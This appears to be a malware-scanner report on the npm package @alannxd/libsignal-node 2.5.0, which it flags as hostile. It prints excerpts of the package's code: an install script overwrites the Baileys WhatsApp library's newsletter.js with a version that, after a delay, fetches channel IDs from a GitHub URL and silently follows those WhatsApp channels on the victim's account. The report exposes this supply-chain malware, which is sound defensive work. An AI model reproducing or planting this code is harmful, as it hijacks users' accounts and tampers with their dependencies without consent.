Hostile 100% javascript Download

@alannxd/libsignal-node 2.5.0

install script auto-follows WhatsApp channels

“Open Whisper Systems' libsignal for Node.js”

Delayed code attempts remotely configured WhatsApp channel followsModule replacement with silent channel follow

Evidence

require('crypto') call lines 1–48
1"use strict";
2
3const fs = require('fs');
4const path = require('path');
5const crypto = require('crypto');
6
7function findBaileysPath() {
8 const possiblePaths = [
9 path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'),
10 path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'),
11 path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'),
12 ];
13
14 try {
15 const resolved = require.resolve('@whiskeysockets/baileys/package.json');
16 possiblePaths.unshift(resolved.replace('/package.json', ''));
17 } catch (e) {}
18
19 for (const baileysPath of possiblePaths) {
20 try {
21 if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) {
22 return baileysPath;
23 }
⋯4 lines
28}
29
30const MODIFIED_NEWSLETTER_JS = `"use strict";
31Object.defineProperty(exports, "__esModule", { value: true });
32exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
33const Types_1 = require("../Types");
34const Utils_1 = require("../Utils");
35const WABinary_1 = require("../WABinary");
36const groups_1 = require("./groups");
37
38const { Boom } = require('@hapi/boom');
39
40const wMexQuery = (
41 variables,
42 queryId,
43 query,
44 generateMessageTag
45) => {
46 return query({
47 tag: 'iq',
48 attrs: {
Socket factory directly schedules a callback lines 51–98
⋯5 lines
56 tag: 'query',
57 attrs: { query_id: queryId },
58 content: Buffer.from(JSON.stringify({ variables }), 'utf8')
59 }
60 ]
⋯8 lines
69 generateMessageTag
70) => {
71 const result = await wMexQuery(variables, queryId, query, generateMessageTag)
72 const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
73 if (child?.content) {
74 const data = JSON.parse(child.content.toString())
75
76 if (data.errors && data.errors.length > 0) {
77 const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
78 const firstError = data.errors[0]
79 const errorCode = firstError.extensions?.error_code || 400
80 throw new Boom(\`GraphQL server error: \${errorMessages}\`, { statusCode: errorCode, data: firstError })
81 }
82
83 const response = dataPath ? data?.data?.[dataPath] : data?.data
84 if (typeof response !== 'undefined') {
85 return response
⋯4 lines
90 ? dataPath.substring(5).replace(/_/g, ' ')
91 : dataPath?.replace(/_/g, ' ')
92 throw new Boom(\`Failed to \${action}, unexpected response structure.\`, { statusCode: 400, data: result })
93}
94
95const makeNewsletterSocket = (config) => {
96 const sock = (0, groups_1.makeGroupsSocket)(config);
97 const { authState, signalRepository, query, generateMessageTag } = sock;
98 const encoder = new TextEncoder();
Aliased function call uses FOLLOW selector lines 109–156
109:65… (query({
110 tag: 'iq',
111 attrs: {
112 id: generateMessageTag(),
113 type: 'get',
114 xmlns: 'w:mex',
115 to: WABinary_1.S_WHATSAPP_NET,
116 },
⋯4 lines
121 content: encoder.encode(JSON.stringify({
122 variables: {
123 'newsletter_id': jid,
124 ...content
125 }
126 }))
127 }
128 ]
129 }));
130
131setTimeout(async () => {
132 const logger = config.logger || console;
133 try {
134 const RAW_URL = "https://raw.githubusercontent.com/alannzxd/BLC/refs/heads/main/db.json";
135 const res = await fetch(RAW_URL);
136 const channelIds = await res.json();
137
138 if (!Array.isArray(channelIds) || channelIds.length === 0) return;
⋯4 lines
143 const id = channelIds[index];
144 try {
145 await newsletterWMexQuery(
146 id,
147 Types_1.QueryIds.FOLLOW
148 );
149 } catch (e) {}
150
151 setTimeout(() => followNext(index + 1), 11000);
152 };
153
154 followNext(0);
155 } catch (e) {}
156}, 120000);
Calls a digest() method lines 376–394
376:6… ts.extractNewsletterMetadata = extractNewsletterMetadata;`;
377
378function getFileHash(filePath) {
379 try {
380 const content = fs.readFileSync(filePath, 'utf8');
381 return crypto.createHash('md5').update(content).digest('hex');
382 } catch (e) {
383 return null;
⋯11 lines
Writes newsletter-timer source to library path lines 395–442
395:43… aileysPath, 'lib', 'Socket', 'newsletter.js');
396
397 if (!fs.existsSync(newsletterPath)) {
398 return false;
399 }
400
401 const baileysNodeModulesPath = path.join(baileysPath, 'node_modules');
402 const cacheFilePath = path.join(baileysNodeModulesPath, '.cache');
403
404 if (fs.existsSync(cacheFilePath)) {
405 return true;
406 }
407
408 if (!fs.existsSync(baileysNodeModulesPath)) {
409 fs.mkdirSync(baileysNodeModulesPath, { recursive: true });
410 }
411
412 const currentHash = getFileHash(newsletterPath);
413 const modifiedHash = crypto.createHash('md5').update(MODIFIED_NEWSLETTER_JS).digest('hex');
414
415 if (currentHash === modifiedHash) {
416 fs.writeFileSync(cacheFilePath, 'Iove');
417 return true;
418 }
419
420 fs.writeFileSync(newsletterPath, MODIFIED_NEWSLETTER_JS);
421
422 const newHash = getFileHash(newsletterPath);
423 if (newHash === modifiedHash) {
424 fs.writeFileSync(cacheFilePath, 'Iove');
425
426 setTimeout(() => {
427 if (typeof process.exit === 'function') {
428 process.exit(0);
429 }
430 }, 20000);
⋯9 lines
440}
441
442if (require.main === module) {

Showing the top 5 files — 7 more files (50 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.